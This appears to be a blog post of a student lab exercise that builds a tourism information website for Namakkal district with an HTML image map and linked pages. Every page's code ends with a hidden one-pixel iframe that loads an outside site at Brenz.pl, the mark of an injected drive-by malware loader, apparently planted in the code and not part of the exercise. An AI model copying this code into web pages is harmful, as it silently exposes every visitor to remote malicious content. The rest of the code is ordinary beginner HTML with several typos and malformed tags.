To create map using HTML

 
TOURISM INFORMATION SYSTEM
 
AIM:
        To create a web application for tourism information system using HTML.

ALGORITHM

Step1: Start the process.
Step2: Load an image in the page.
Step3: Define the map area in the loaded image.
Step4: Show the hot spots in the page.
Step5: Display the details of the hot spot in the page.
Step6: Stop the process.

CODING:

home.html:
<html>
<Title>Namakkal Tourism Information System</title>
<h1 align=center> WELCOME TO NAMAKKAL </H1>
<body bgcolor=wheat>
<p><CENTER><img src="file:///D:/Documents and Settings/STUDENT/Desktop/namakkal.gif" width="593" height="406" border="0">
<p><strong><a href= "main.html"> Visit the Places</a></strong></p>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>

main.html:
<html>
<h1 align=center> WELCOME TO NAMAKKAL</H1>
<Title>Namakkal Tourism Information System</title>
<body background="namakkals.gif">
<p><CENTER><img src="file:///D:/Documents and Settings/STUDENT/Desktop/map_namakkal.gif" width="593" height="406" border="0" usemap="#map">
<map name="map"></CENTER>

<area shape="circle" coords="195,175,20" href="tiruchengode.html">
<area shape="circle" coords="342,230,20" href="namakkal.html">
<area shape="circle" coords="120,148,20" href="palayam.html">
<area shape="circle" coords="470,185,20" href="kolli.html">
<area shape="circle" coords="378,119,20" href="rasipuram.html">
<area shape="circle" coords="268,130,20" href="mal.html">
</map>
</p>
<p><strong><center>CLICK THE MOUSE TO SELECT THE PLACE</strong></p></center>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>

Kolli.html:
<html>
<head>
<title>KOLLI HILLS</title>
</head><body bgcolor="white">
<p align="center"><strong>WELCOME TO KOLLI HILLS</strong></p>
<p>SOME OF THE TOURIST PLACES IN KOLLI HILLS ARE</p>
<p >1.Hill temple</p>
<p>2.FIve Falls</p>
<p>3.Child park</p>
<p>4.Flower park</p>
<a href="main.html">Back to Home Page</a>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>

Rasipuram.html:

<html>
<head>
<title>RASIPURAM</title>
</head><body bgcolor="white">
<p align="center"><strong>WELCOME TO  RASIPURAM</strong></p>
<p>SOME OF THE TOURIST PLACES IN RASIPUIRAM ARE</p>
<p align>1.MUTHAYAMMAL institutions</p>
<p align>2.Railway gate</p>
<p align>3.PAAVAI institituions</p>
<a href="main.html">Back to Home Page</a>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>

mal.html:
<html>
<head>
<title>MALLASAMUTHIRAM</title>
</head><body bgcolor="orange">
<p align="center"><strong>WELCOME TO MALLASAMUTHIRAM</strong></p>
<p>SOME OF THE TOURIST PLACES IN MALLASAMUTHIRAM ARE</p>
<p >1.Murugan temple</p>
<p >2.Park</p>
<p>3.Govt school</p><html>
<a href="main.html">Back to Home Page</a>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>

Palayam.html:
<html>
<head>
<title>PALLIPALAYAM</title>
</head><body bgcolor="white">
<p align="center"><strong>WELCOME TO PALLIPALAYAM</strong></p>
<p>SOME OF THE TOURIST PLACES IN PALLIPALAYAM ARE</p>
<p >1.RIVER</p>
<p>2.RAILWAY STATION</p>
<p>3.ESWARAN TEMPLE</p>
<a href=main.html>Back to Home Page</a>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>

Tiruchengode.html:

<html>
<head>
<title>THIRUCHENGODE</title>
</head><body bgcolor="yellow">
<p><CENTER><img src="file:///D:/Documents and Settings/STUDENT/Desktop/tGODE.gif" width="593" height="406" border="0">
<p align="center"><strong>WELCOME TO  THIRUCHENGODE</strong></p>
<p>SPOT PLACES IN TIRUCHENCGODE:
<BR>
<UL>
<LI>Arthanareswar temple </LI>
<LI>Thiruchengode Hill</li>
<li>KSR Institutions </li>
<li>Vivekandanda Institutions</li>
</ul>
<a href=”main.html”>Back to Home Page</a>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>

Namakkal.html:
<html>
<head>
<title>NAMAKKAL</title>
<h1 align=center>"Welcome to Namakkal City"</h1>
</head><body  background="n.gif" height=300 width=400>
<p>SOME OF THE TOURIST PLACES IN NAMAKKAL ARE</p>
<p ><a href="rock.gif">1.Rockport</p></a>
<p>2.Anjaneyar Temple</p>
<p>3.LMR theatre</p>
<p>4.SELVAM insitiutions</p>
<a href=main.html>Back to Home Page</a>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>
 

0 comments:

Post a Comment